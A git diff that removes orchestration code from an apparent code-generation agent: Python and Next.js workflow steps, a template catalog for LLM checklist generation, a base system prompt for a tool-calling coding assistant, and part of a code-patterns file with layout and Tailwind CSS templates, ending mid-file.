"project_name", "" - ) - return ( - "validate_project", - { - "project_path": project_name or context.project_dir, - "fix": True, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("valid") or result.get("success"): - return StepResult.ok("Project structure validated") - issues = result.get("issues", []) - return StepResult.warning( - "Project has issues", - issues=issues, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class AutoFixSyntaxStep(BaseStep): - """Step to auto-fix syntax errors.""" - - name: str = "auto_fix_syntax" - description: str = "Fix syntax errors" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return auto_fix_syntax_errors invocation.""" - project_name = context.step_outputs.get("create_project", {}).get( - "project_name", "" - ) - return ( - "auto_fix_syntax_errors", - { - "project_path": project_name or context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - fixed_count = result.get("files_fixed", 0) - if fixed_count > 0: - return StepResult.warning( - f"Fixed syntax errors in {fixed_count} files", - files_fixed=fixed_count, - ) - return StepResult.ok("No syntax errors found") - return StepResult.make_error( - "Failed to fix syntax errors", - result.get("error", "Unknown error"), - ErrorCategory.SYNTAX, - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class AnalyzePylintStep(BaseStep): - """Step to analyze code with pylint.""" - - name: str = "analyze_pylint" - description: str = "Run pylint analysis" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return analyze_with_pylint invocation.""" - project_name = context.step_outputs.get("create_project", {}).get( - "project_name", "" - ) - return ( - "analyze_with_pylint", - { - "file_path": project_name or context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - score = result.get("score", 0) - issues = result.get("issues", []) - - if score >= 8.0: - return StepResult.ok(f"Pylint score: {score}/10", score=score) - if issues: - return StepResult.warning( - f"Pylint score: {score}/10 ({len(issues)} issues)", - score=score, - issues=issues, - ) - return StepResult.ok( - f"Pylint completed with score: {score}/10", score=score - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class FixLintingStep(BaseStep): - """Step to fix linting issues.""" - - name: str = "fix_linting" - description: str = "Fix linting issues" - - def should_skip(self, context: UserContext) -> Optional[str]: - """Skip if pylint score is already good.""" - pylint_output = context.step_outputs.get("analyze_pylint", {}) - score = pylint_output.get("score", 0) - if score >= 8.0: - return f"Pylint score {score}/10 is good, no fixing needed" - return None - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return fix_linting_errors invocation.""" - project_name = context.step_outputs.get("create_project", {}).get( - "project_name", "" - ) - return ( - "fix_linting_errors", - { - "project_path": project_name or context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - if result.get("success"): - fixed_count = result.get("files_fixed", 0) - return StepResult.ok(f"Fixed linting issues in {fixed_count} files") - return StepResult.warning( - "Some linting issues could not be auto-fixed", - error=result.get("error", ""), - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) - - -@dataclass -class RunPytestStep(BaseStep): - """Step to run pytest.""" - - name: str = "run_tests" - description: str = "Run pytest" - - def get_tool_invocation( - self, context: UserContext - ) -> Optional[Tuple[str, Dict[str, Any]]]: - """Return run_tests invocation.""" - project_name = context.step_outputs.get("create_project", {}).get( - "project_name", "" - ) - return ( - "run_tests", - { - "project_path": project_name or context.project_dir, - }, - ) - - def handle_result(self, result: Any, context: UserContext) -> StepResult: - """Convert tool result to StepResult.""" - if isinstance(result, dict): - tests_passed = result.get("tests_passed", False) - return_code = result.get("return_code", 1) - - if tests_passed or return_code == 0: - passed = result.get("passed", 0) - return StepResult.ok( - f"All tests passed ({passed} tests)", - passed=passed, - ) - failed = result.get("failed", 0) - return StepResult.warning( - f"Some tests failed ({failed} failures)", - failed=failed, - output=result.get("output", ""), - ) - return StepResult.make_error( - "Unexpected result format", str(result), ErrorCategory.UNKNOWN - ) diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/template_catalog.py b/hub/agents/code/python/gaia_agent_code/orchestration/template_catalog.py deleted file mode 100644 index 9af34c05e..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/template_catalog.py +++ /dev/null @@ -1,469 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Template Catalog for LLM-Driven Checklist Generation. - -This module defines the catalog of available templates that the LLM sees -during checklist generation. Each template definition includes: -- Name: The template identifier used in checklist items -- Description: Human-readable description for the LLM -- Parameters: Expected parameters with their types and descriptions -- Dependencies: Other templates that should be executed first -- Produces: Files/artifacts this template creates - -The catalog is used by ChecklistGenerator to build the system prompt -that tells the LLM what templates are available and how to use them. -""" - -from dataclasses import dataclass, field -from enum import Enum -from typing import Any, Dict, List, Optional - - -class ParameterType(Enum): - """Supported parameter types for template parameters.""" - - STRING = "string" - NUMBER = "number" - BOOLEAN = "boolean" - LIST = "list" - DICT = "dict" - - -@dataclass -class ParameterSpec: - """Specification for a template parameter.""" - - type: ParameterType - description: str - required: bool = True - default: Optional[Any] = None - example: Optional[Any] = None - - def to_prompt(self) -> str: - """Generate prompt-friendly description of this parameter.""" - type_str = self.type.value - req_str = "required" if self.required else "optional" - desc = f"{type_str}, {req_str}: {self.description}" - if self.example is not None: - desc += f" (e.g., {self.example})" - return desc - - -@dataclass -class TemplateDefinition: - """Definition of a template for the catalog. - - Each template represents an executable unit of code generation - that the LLM can include in its checklist. - """ - - name: str - description: str - parameters: Dict[str, ParameterSpec] - dependencies: List[str] = field(default_factory=list) - produces: List[str] = field(default_factory=list) - category: str = "general" - semantic_hints: List[str] = field(default_factory=list) - - def to_prompt(self) -> str: - """Generate prompt-friendly description of this template.""" - lines = [f"### {self.name}"] - lines.append(f"**Description**: {self.description}") - - if self.semantic_hints: - lines.append(f"**When to use**: {', '.join(self.semantic_hints)}") - - lines.append("**Parameters**:") - for param_name, param_spec in self.parameters.items(): - lines.append(f" - `{param_name}`: {param_spec.to_prompt()}") - - if self.dependencies: - lines.append(f"**Requires**: {', '.join(self.dependencies)}") - - if self.produces: - lines.append(f"**Creates**: {', '.join(self.produces)}") - - return "\n".join(lines) - - -# ============================================================================ -# Template Catalog Definition -# ============================================================================ - -TEMPLATE_CATALOG: Dict[str, TemplateDefinition] = { - # ========== Project Setup Templates ========== - "create_next_app": TemplateDefinition( - name="create_next_app", - description="Initialize a new Next.js project with TypeScript, Tailwind CSS, and App Router", - parameters={ - "project_name": ParameterSpec( - type=ParameterType.STRING, - description="Name of the project (used for directory)", - example="my-todo-app", - ), - }, - dependencies=[], - produces=[ - "package.json", - "next.config.ts", - "src/app/layout.tsx", - "src/app/page.tsx", - ], - category="setup", - semantic_hints=["Always use this first for new Next.js projects"], - ), - "setup_app_styling": TemplateDefinition( - name="setup_app_styling", - description="Configure app-wide styling with modern dark theme design system", - parameters={ - "app_title": ParameterSpec( - type=ParameterType.STRING, - description="Application title for metadata", - example="Todo App", - ), - "app_description": ParameterSpec( - type=ParameterType.STRING, - description="Application description for metadata", - required=False, - default="A modern web application", - ), - }, - dependencies=["create_next_app"], - produces=["src/app/layout.tsx", "src/app/globals.css"], - category="setup", - semantic_hints=["Sets up dark theme with glass morphism effects"], - ), - "setup_prisma": TemplateDefinition( - name="setup_prisma", - description="Install Prisma dependencies, initialize database with SQLite, and create client singleton", - parameters={ - "database_url": ParameterSpec( - type=ParameterType.STRING, - description="Database connection URL", - required=False, - default="file:./dev.db", - ), - }, - dependencies=["create_next_app"], - produces=["prisma/schema.prisma", "src/lib/prisma.ts", ".env"], - category="setup", - semantic_hints=[ - "Installs Prisma 5.x, @prisma/client, and Zod dependencies", - "Runs 'npx prisma init --datasource-provider sqlite' to create schema.prisma", - "Creates src/lib/prisma.ts singleton for database client access", - "MUST complete before creating any Prisma models or database operations", - ], - ), - "setup_testing": TemplateDefinition( - name="setup_testing", - description="Set up Vitest testing infrastructure with React Testing Library", - parameters={ - "resource_name": ParameterSpec( - type=ParameterType.STRING, - description="Optional resource name for customized Prisma mocks", - required=False, - ), - }, - dependencies=["create_next_app"], - produces=["vitest.config.ts", "tests/setup.ts"], - category="setup", - semantic_hints=["Enables running tests with npm test"], - ), - # ========== Data Model Templates ========== - "generate_prisma_model": TemplateDefinition( - name="generate_prisma_model", - description="Define a database model with fields in Prisma schema", - parameters={ - "model_name": ParameterSpec( - type=ParameterType.STRING, - description="Model name in PascalCase (singular)", - example="Todo", - ), - "fields": ParameterSpec( - type=ParameterType.DICT, - description="Field definitions as {name: type} where type is string|number|boolean|date|email|url", - example={"title": "string", "completed": "boolean"}, - ), - }, - dependencies=["setup_prisma"], - produces=["prisma/schema.prisma (updated)"], - category="data", - semantic_hints=[ - "Use 'boolean' for todo completion, checklist items", - "Use 'date' for blog posts, events with dates", - "id, createdAt, updatedAt are auto-generated", - ], - ), - "prisma_db_sync": TemplateDefinition( - name="prisma_db_sync", - description="Generate Prisma client and push schema to database (REQUIRED after generate_prisma_model)", - parameters={}, - dependencies=["generate_prisma_model"], - produces=["node_modules/.prisma/client", "prisma/dev.db"], - category="data", - semantic_hints=[ - "MUST run after generate_prisma_model before any API routes", - "Runs 'prisma generate' to create TypeScript types", - "Runs 'prisma db push' to create database tables", - ], - ), - # ========== API Templates ========== - "generate_api_route": TemplateDefinition( - name="generate_api_route", - description="Create REST API endpoints with Prisma queries and Zod validation", - parameters={ - "resource": ParameterSpec( - type=ParameterType.STRING, - description="Resource name in lowercase (singular)", - example="todo", - ), - "operations": ParameterSpec( - type=ParameterType.LIST, - description="HTTP methods to implement", - example=["GET", "POST"], - ), - "type": ParameterSpec( - type=ParameterType.STRING, - description="Route type: 'collection' for /api/todos or 'item' for /api/todos/[id]", - example="collection", - ), - "enable_pagination": ParameterSpec( - type=ParameterType.BOOLEAN, - description="Whether to add pagination to GET endpoint", - required=False, - default=False, - ), - }, - dependencies=["prisma_db_sync"], - produces=[ - "src/app/api/{resource}s/route.ts", - "src/app/api/{resource}s/[id]/route.ts", - ], - category="api", - semantic_hints=[ - "Collection routes handle GET (list) and POST (create)", - "Item routes handle GET (single), PATCH (update), DELETE", - ], - ), - # ========== UI Component Templates ========== - "generate_react_component": TemplateDefinition( - name="generate_react_component", - description="Create React components for displaying and managing resources", - parameters={ - "resource": ParameterSpec( - type=ParameterType.STRING, - description="Resource name in lowercase (singular)", - example="todo", - ), - "variant": ParameterSpec( - type=ParameterType.STRING, - description="Component variant: list|form|new|detail|actions|artifact-timer", - example="list", - ), - "component_name": ParameterSpec( - type=ParameterType.STRING, - description="Optional explicit component name (e.g., CountdownTimer)", - required=False, - ), - "with_checkboxes": ParameterSpec( - type=ParameterType.BOOLEAN, - description="Add checkbox UI for boolean fields (e.g., todo completion)", - required=False, - default=False, - ), - }, - dependencies=["generate_api_route"], - produces=["src/app/{resource}s/page.tsx", "src/components/{Resource}Form.tsx"], - category="ui", - semantic_hints=[ - "Use 'list' for main page showing all items", - "Use 'form' for reusable create/edit form component", - "Use 'new' for /resource/new page", - "Use 'detail' for /resource/[id] EDIT page with pre-populated form", - "Use 'artifact-timer' when the user requests a countdown; supply component_name (e.g., CountdownTimer) so pages can import the client-side timer widget", - "Add with_checkboxes=true for todo apps", - ], - ), - "update_landing_page": TemplateDefinition( - name="update_landing_page", - description="Update the home page with navigation links to resource pages", - parameters={ - "resource": ParameterSpec( - type=ParameterType.STRING, - description="Resource name to link to", - example="todo", - ), - "description": ParameterSpec( - type=ParameterType.STRING, - description="Description text for the link", - required=False, - ), - }, - dependencies=["generate_react_component"], - produces=["src/app/page.tsx (updated)"], - category="ui", - semantic_hints=["Add after creating resource pages so users can navigate"], - ), - # ========== Validation Templates ========== - "run_typescript_check": TemplateDefinition( - name="run_typescript_check", - description="Run TypeScript compiler to check for type errors", - parameters={}, - dependencies=[], - produces=[], - category="validation", - semantic_hints=["Use after generating code to catch type errors early"], - ), - "validate_styles": TemplateDefinition( - name="validate_styles", - description="Validate CSS files for content integrity and design system consistency", - parameters={ - "_resource_name": ParameterSpec( - type=ParameterType.STRING, - description="Optional resource name for component class checks", - required=False, - ), - }, - dependencies=["setup_app_styling", "run_typescript_check"], - produces=[], - category="validation", - semantic_hints=[ - "Run AFTER run_typescript_check to validate styling", - "Catches TypeScript code accidentally written to CSS files (Issue #1002)", - "Validates globals.css has Tailwind directives", - "Checks layout.tsx imports globals.css", - ], - ), - "generate_style_tests": TemplateDefinition( - name="generate_style_tests", - description="Generate CSS and styling tests for the project", - parameters={ - "resource_name": ParameterSpec( - type=ParameterType.STRING, - description="Resource name for component styling tests", - required=True, - ), - }, - dependencies=["setup_testing", "setup_app_styling"], - produces=["tests/styles.test.ts", "tests/styling/{Resource}Styling.test.tsx"], - category="testing", - semantic_hints=[ - "Generate after setup_testing to create CSS validation tests", - "Tests check CSS file integrity (no TypeScript in CSS)", - "Tests validate design system class definitions", - "Tests verify layout.tsx imports globals.css", - ], - ), - # ========== Remediation Templates ========== - "fix_code": TemplateDefinition( - name="fix_code", - description="Use the LLM fixer to repair an existing source file based on an error description.", - parameters={ - "file_path": ParameterSpec( - type=ParameterType.STRING, - description="Path to the file that needs to be fixed.", - example="src/app/api/todos/route.ts", - ), - "error_description": ParameterSpec( - type=ParameterType.STRING, - description="Short summary of the failure or lint error that needs to be resolved.", - required=False, - ), - }, - dependencies=[], - produces=["Updated file with fixes applied"], - category="remediation", - semantic_hints=[ - "Use when a validation log references a specific file with errors.", - "Provide the exact error message (TypeScript, lint, or runtime) to guide the fixer.", - ], - ), -} - - -def get_template(name: str) -> Optional[TemplateDefinition]: - """Get a template definition by name. - - Args: - name: Template name to look up - - Returns: - TemplateDefinition if found, None otherwise - """ - return TEMPLATE_CATALOG.get(name) - - -def get_templates_by_category(category: str) -> List[TemplateDefinition]: - """Get all templates in a specific category. - - Args: - category: Category name (setup, data, api, ui, testing, validation, remediation) - - Returns: - List of templates in the category - """ - return [t for t in TEMPLATE_CATALOG.values() if t.category == category] - - -def get_catalog_prompt() -> str: - """Generate the complete template catalog prompt for LLM. - - This is included in the system prompt so the LLM knows what - templates are available and how to use them. - - Returns: - Formatted markdown string describing all templates - """ - lines = ["# Available Templates", ""] - lines.append( - "Use these templates to generate a checklist for the user's request. " - "Each template has specific parameters and dependencies." - ) - lines.append("") - - # Group by category - categories = ["setup", "data", "api", "ui", "testing", "validation", "remediation"] - - for category in categories: - templates = get_templates_by_category(category) - if templates: - lines.append(f"## {category.title()} Templates") - lines.append("") - for template in templates: - lines.append(template.to_prompt()) - lines.append("") - - return "\n".join(lines) - - -def validate_checklist_item(template_name: str, params: Dict[str, Any]) -> List[str]: - """Validate a checklist item against the template definition. - - Args: - template_name: Name of the template - params: Parameters provided for the template - - Returns: - List of validation error messages (empty if valid) - """ - errors = [] - - template = get_template(template_name) - if not template: - errors.append(f"Unknown template: {template_name}") - return errors - - # Check required parameters - for param_name, param_spec in template.parameters.items(): - if param_spec.required and param_name not in params: - errors.append( - f"Missing required parameter '{param_name}' for {template_name}" - ) - - # Check for unknown parameters - valid_params = set(template.parameters.keys()) - for param_name in params: - if param_name not in valid_params: - errors.append(f"Unknown parameter '{param_name}' for {template_name}") - - return errors diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/__init__.py b/hub/agents/code/python/gaia_agent_code/orchestration/workflows/__init__.py deleted file mode 100644 index 219466738..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Workflow definitions for orchestration.""" - -from .base import ValidationConfig, WorkflowPhase -from .nextjs import create_nextjs_workflow -from .python import create_python_workflow - -__all__ = [ - "WorkflowPhase", - "ValidationConfig", - "create_nextjs_workflow", - "create_python_workflow", -] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/base.py b/hub/agents/code/python/gaia_agent_code/orchestration/workflows/base.py deleted file mode 100644 index 046e5971a..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/base.py +++ /dev/null @@ -1,80 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Base workflow definitions for orchestration. - -Workflows are composed of phases, each containing steps. -""" - -from dataclasses import dataclass, field -from typing import List, Optional - -from ..steps.base import BaseStep - - -@dataclass -class ValidationConfig: - """Configuration for validation after each step/phase. - - Ensures linting, TypeScript validation, and tests run at appropriate times. - """ - - run_lint: bool = True - run_typecheck: bool = True - run_tests: bool = True - lint_command: str = "npm run lint" - typecheck_command: str = "npx -y tsc --noEmit" - test_command: str = "npm test" - fail_on_lint_error: bool = False # Warnings OK, errors fail - fail_on_type_error: bool = True - fail_on_test_error: bool = True - - -@dataclass -class WorkflowPhase: - """A phase in the workflow containing multiple steps. - - Phases group related steps together: - - initialization: Project setup, dependencies - - data_layer: Database schema, migrations - - api: API routes, handlers - - ui: Components, pages - - validation: Testing, linting - """ - - name: str - description: str - steps: List[BaseStep] = field(default_factory=list) - validation: Optional[ValidationConfig] = None - required: bool = True # If False, phase can be skipped - - def add_step(self, step: BaseStep) -> "WorkflowPhase": - """Add a step to this phase (fluent interface).""" - self.steps.append(step) - return self - - def with_validation( - self, - lint: bool = True, - typecheck: bool = True, - tests: bool = True, - fail_on_type_error: bool = True, - fail_on_test_error: bool = True, - ) -> "WorkflowPhase": - """Configure validation for this phase (fluent interface). - - Args: - lint: Run linting - typecheck: Run TypeScript type checking - tests: Run tests - fail_on_type_error: Stop workflow if type check fails (default: True) - fail_on_test_error: Stop workflow if tests fail (default: True) - """ - self.validation = ValidationConfig( - run_lint=lint, - run_typecheck=typecheck, - run_tests=tests, - fail_on_type_error=fail_on_type_error, - fail_on_test_error=fail_on_test_error, - ) - return self diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/nextjs.py b/hub/agents/code/python/gaia_agent_code/orchestration/workflows/nextjs.py deleted file mode 100644 index 4c24d5106..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/nextjs.py +++ /dev/null @@ -1,186 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Next.js workflow definition. - -Defines the phases and steps for building Next.js CRUD applications. -""" - -from typing import List - -from ..steps.base import UserContext -from ..steps.nextjs import ( - CreateNextAppStep, - InstallDependenciesStep, - ManageApiEndpointDynamicStep, - ManageApiEndpointStep, - ManageDataModelStep, - ManageReactComponentStep, - PrismaInitStep, - RunTestsStep, - SetupAppStylingStep, - SetupPrismaStep, - SetupTestingStep, - TestCrudApiStep, - UpdateLandingPageStep, - ValidateCrudStructureStep, - ValidateTypescriptStep, -) -from .base import WorkflowPhase - - -def create_nextjs_workflow(context: UserContext) -> List[WorkflowPhase]: - """Create the Next.js CRUD workflow phases. - - Args: - context: User context with request details - - Returns: - List of workflow phases - """ - entity = context.entity_name or "Item" - fields = context.schema_fields or {"title": "string", "completed": "boolean"} - - # Phase 0: Project Initialization - # Includes testing deps so they're available when test files are generated - init_phase = WorkflowPhase( - name="initialization", - description="Set up Next.js project with dependencies", - steps=[ - CreateNextAppStep( - name="create_next_app", - description="Initialize Next.js project", - ), - SetupAppStylingStep( - name="setup_styling", - description="Configure modern app-wide styling", - ), - InstallDependenciesStep( - name="install_deps", - description="Install Prisma, Zod, and other dependencies", - ), - SetupTestingStep( - name="setup_testing", - description="Install Vitest and testing libraries", - ), - PrismaInitStep( - name="prisma_init", - description="Initialize Prisma with SQLite", - ), - ], - ) - - # Phase 1: Data Layer - data_phase = WorkflowPhase( - name="data_layer", - description="Create database model and API routes", - steps=[ - ManageDataModelStep( - name="data_model", - description=f"Create {entity} Prisma model", - entity_name=entity, - fields=fields, - ), - SetupPrismaStep( - name="setup_prisma", - description="Generate Prisma client and push to database", - ), - ManageApiEndpointStep( - name="api_collection", - description=f"Create {entity} collection API (GET, POST)", - entity_name=entity, - fields=fields, - ), - ManageApiEndpointDynamicStep( - name="api_item", - description=f"Create {entity} item API (GET, PATCH, DELETE)", - entity_name=entity, - fields=fields, - ), - ], - ).with_validation(lint=False, typecheck=True, tests=False, fail_on_type_error=False) - - # Phase 2: UI Components - ui_phase = WorkflowPhase( - name="ui_components", - description="Create React components and pages", - steps=[ - ManageReactComponentStep( - name="list_component", - description=f"Create {entity} list page", - entity_name=entity, - variant="list", - fields=fields, - ), - ManageReactComponentStep( - name="form_component", - description=f"Create {entity} form component", - entity_name=entity, - variant="form", - fields=fields, - ), - ManageReactComponentStep( - name="new_page", - description=f"Create {entity} new page", - entity_name=entity, - variant="new", - fields=fields, - ), - # Actions must come before detail_page since detail_page imports it - ManageReactComponentStep( - name="actions_component", - description=f"Create {entity} actions component", - entity_name=entity, - variant="actions", - fields=fields, - ), - ManageReactComponentStep( - name="detail_page", - description=f"Create {entity} detail page", - entity_name=entity, - variant="detail", - fields=fields, - ), - ], - ).with_validation(lint=False, typecheck=True, tests=False, fail_on_type_error=False) - - # Phase 3: Validation & Polish - validation_phase = WorkflowPhase( - name="validation", - description="Validate structure and run tests", - steps=[ - ValidateCrudStructureStep( - name="validate_structure", - description="Check all required files exist", - entity_name=entity, - ), - ValidateTypescriptStep( - name="validate_typescript", - description="Run TypeScript compiler", - ), - TestCrudApiStep( - name="test_api", - description="Test CRUD operations", - entity_name=entity, - ), - UpdateLandingPageStep( - name="update_landing", - description="Add navigation link to landing page", - entity_name=entity, - ), - ], - ) - - # Phase 4: Run Tests - testing_phase = WorkflowPhase( - name="testing", - description="Run all tests", - steps=[ - RunTestsStep( - name="run_tests", - description="Run all tests with npm test", - ), - ], - ) - - return [init_phase, data_phase, ui_phase, validation_phase, testing_phase] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/python.py b/hub/agents/code/python/gaia_agent_code/orchestration/workflows/python.py deleted file mode 100644 index c5cc3312a..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/workflows/python.py +++ /dev/null @@ -1,94 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Python workflow definition. - -Defines the phases and steps for building Python applications. -""" - -from typing import List - -from ..steps.base import UserContext -from ..steps.python import ( - AnalyzePylintStep, - AutoFixSyntaxStep, - CreateProjectStep, - FixLintingStep, - ListFilesStep, - RunPytestStep, - ValidateProjectStep, -) -from .base import WorkflowPhase - - -def create_python_workflow(context: UserContext) -> List[WorkflowPhase]: - """Create the Python development workflow phases. - - Args: - context: User context with request details - - Returns: - List of workflow phases - """ - # Phase 1: Project Creation - creation_phase = WorkflowPhase( - name="creation", - description="Create Python project structure", - steps=[ - CreateProjectStep( - name="create_project", - description="Generate project files", - user_request=context.user_request, - ), - ListFilesStep( - name="list_files", - description="Discover created files", - ), - ], - ) - - # Phase 2: Validation - validation_phase = WorkflowPhase( - name="validation", - description="Validate and fix project", - steps=[ - ValidateProjectStep( - name="validate_project", - description="Check project structure", - ), - AutoFixSyntaxStep( - name="auto_fix_syntax", - description="Fix syntax errors", - ), - ], - ) - - # Phase 3: Code Quality - quality_phase = WorkflowPhase( - name="quality", - description="Lint and format code", - steps=[ - AnalyzePylintStep( - name="analyze_pylint", - description="Run pylint analysis", - ), - FixLintingStep( - name="fix_linting", - description="Fix linting issues", - ), - ], - ) - - # Phase 4: Testing - testing_phase = WorkflowPhase( - name="testing", - description="Run tests", - steps=[ - RunPytestStep( - name="run_tests", - description="Run pytest", - ), - ], - ) - - return [creation_phase, validation_phase, quality_phase, testing_phase] diff --git a/hub/agents/code/python/gaia_agent_code/prompts/__init__.py b/hub/agents/code/python/gaia_agent_code/prompts/__init__.py deleted file mode 100644 index aedd15d6a..000000000 --- a/hub/agents/code/python/gaia_agent_code/prompts/__init__.py +++ /dev/null @@ -1,11 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Language-specific prompt modules for Code Agent.""" - -from .nextjs_prompt import NEXTJS_PROMPT -from .python_prompt import get_python_prompt - -__all__ = [ - "get_python_prompt", - "NEXTJS_PROMPT", -] diff --git a/hub/agents/code/python/gaia_agent_code/prompts/base_prompt.py b/hub/agents/code/python/gaia_agent_code/prompts/base_prompt.py deleted file mode 100644 index c06f6f58a..000000000 --- a/hub/agents/code/python/gaia_agent_code/prompts/base_prompt.py +++ /dev/null @@ -1,77 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Base system prompt for Code Agent - universal development guidance.""" - -import os -from typing import Optional - - -def get_base_prompt(gaia_md_path: Optional[str] = None) -> str: - """Get the universal, language-agnostic prompt for Code Agent. - - This contains core instructions that apply to all programming languages: - - JSON response format - - Tool calling conventions - - General error recovery patterns - - Planning and validation workflow - - Project context loading - - Args: - gaia_md_path: Optional path to GAIA.md file for project context - - Returns: - Base system prompt string with project context if available - """ - # Load project context if available - gaia_context = "" - gaia_path = gaia_md_path or "GAIA.md" - - if os.path.exists(gaia_path): - try: - with open(gaia_path, "r", encoding="utf-8") as f: - gaia_content = f.read() - gaia_context = f"\n\nProject Context:\n{gaia_content}\n" - except Exception: - pass - - return f"""You are a code assistant. Execute tasks using tools. - -{gaia_context} - -## Response Format -Your responses must be valid JSON: -{{"thought": "reasoning", "goal": "objective", "plan": [list of tool calls]}} - -Each plan step must be: -{{"tool": "tool_name", "tool_args": {{"arg1": "value1", "arg2": "value2"}}}} - -## Rules -1. Call ONE tool at a time -2. Check the result before proceeding -3. If result has `error`, fix the issue before continuing -4. Ask clarifying questions when requirements are ambiguous - -## Tool Selection -- For CLI commands: `run_cli_command` -- For API routes: `manage_api_endpoint` -- For React components: `manage_react_component` -- For Prisma models: `manage_data_model` then `setup_prisma` -- For any file: `write_file` or `edit_file` - -## Research Tools (USE THESE WHEN ENCOUNTERING ERRORS) -- `search_documentation(query, library)` - Search official library docs - Examples: - - `search_documentation("App Router POST handler", library="nextjs")` - - `search_documentation("Prisma DateTime field", library="prisma")` - - `search_documentation("zod validation schema", library="zod")` -- `search_web(query)` - Search web for error solutions and current patterns - Examples: - - `search_web("Next.js 14 405 Method Not Allowed")` - - `search_web("Prisma client not generating types")` - -**WHEN TO USE:** -- ALWAYS search before fixing library-related errors (Prisma, Next.js, React, Zod) -- When encountering type errors, hydration errors, or validation errors -- When a fix attempt fails - search for the correct solution -- Do NOT guess at fixes without searching first -""" diff --git a/hub/agents/code/python/gaia_agent_code/prompts/code_patterns.py b/hub/agents/code/python/gaia_agent_code/prompts/code_patterns.py deleted file mode 100644 index 6f12e40ae..000000000 --- a/hub/agents/code/python/gaia_agent_code/prompts/code_patterns.py +++ /dev/null @@ -1,2034 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Code generation patterns for web applications. - -This module contains reusable code patterns for generating functional -web application code. Patterns are framework-agnostic where possible, -with framework-specific variants where needed. - -Patterns are stored as template strings that can be formatted with -resource-specific context (model names, fields, etc.). -""" - -# ========== App-Wide Layout and Styling ========== - -APP_LAYOUT = """import type {{ Metadata }} from "next"; -import {{ Inter }} from "next/font/google"; -import "./globals.css"; - -const inter = Inter({{ subsets: ["latin"] }}); - -export const metadata: Metadata = {{ - title: "{app_title}", - description: "{app_description}", -}}; - -export default function RootLayout({{ - children, -}}: Readonly<{{ - children: React.ReactNode; -}}>) {{ - return ( - - -
-
- {{children}} - - - ); -}}""" - -APP_GLOBALS_CSS = """@tailwind base; -@tailwind components; -@tailwind utilities; - -:root {{ - --background: #0f0f1a; - --foreground: #e2e8f0; -}} - -body {{ - color: var(--foreground); - background: var(--background); - min-height: 100vh; -}} - -/* Custom scrollbar */ -::-webkit-scrollbar {{ - width: 8px; -}} - -::-webkit-scrollbar-track {{ - background: rgba(30, 41, 59, 0.3); -}} - -::-webkit-scrollbar-thumb {{ - background: rgba(99, 102, 241, 0.5); - border-radius: 4px; -}} - -::-webkit-scrollbar-thumb:hover {{ - background: rgba(99, 102, 241, 0.7); -}} - -@layer base {{ - /* Dark mode color scheme */ - html {{ - color-scheme: dark; - }} - - /* Better form defaults for dark theme */ - input[type="checkbox"] {{ - color-scheme: dark; - }} -}} - -@layer components {{ - /* Glass card effect */ - .glass-card {{ - @apply bg-slate-800/50 backdrop-blur-xl border border-slate-700/50 rounded-2xl shadow-2xl; - }} - - /* Button variants */ - .btn-primary {{ - @apply bg-gradient-to-r from-indigo-500 to-purple-500 text-white px-6 py-3 rounded-xl font-medium - hover:from-indigo-600 hover:to-purple-600 transition-all duration-300 - hover:shadow-lg hover:shadow-indigo-500/25 active:scale-95 disabled:opacity-50; - }} - - .btn-secondary {{ - @apply bg-slate-700/50 text-slate-200 px-6 py-3 rounded-xl font-medium border border-slate-600/50 - hover:bg-slate-700 transition-all duration-300 active:scale-95; - }} - - .btn-danger {{ - @apply bg-gradient-to-r from-red-500 to-rose-500 text-white px-6 py-3 rounded-xl font-medium - hover:from-red-600 hover:to-rose-600 transition-all duration-300 - hover:shadow-lg hover:shadow-red-500/25 active:scale-95 disabled:opacity-50; - }} - - /* Input styling */ - .input-field {{ - @apply 